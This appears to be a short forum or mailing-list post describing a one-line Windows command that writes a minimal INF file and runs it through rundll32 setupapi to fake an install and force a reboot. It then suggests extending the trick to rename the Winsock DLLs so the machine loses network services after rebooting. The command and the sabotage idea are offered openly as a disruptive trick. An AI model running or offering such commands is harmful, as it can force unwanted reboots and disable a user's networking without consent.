It is possible to create a fake install on a single command line which
forces a reboot (albeit properly). I have adapted some code I found
elsewhere to illustrate:

cmd /C @ECHO OFF & cd/d %temp% & echo [version] > z.inf & echo
signature=$chicago$ >> z.inf & echo [defaultinstall] >> z.inf & rundll32
setupapi,InstallHinfSection DefaultInstall 1 %temp%\z.inf & del z.inf

A cheap fix would be to modify the above example to also rename say the
Winsock DLL's so when the box reboots, it is unable to start network
services.

regards.
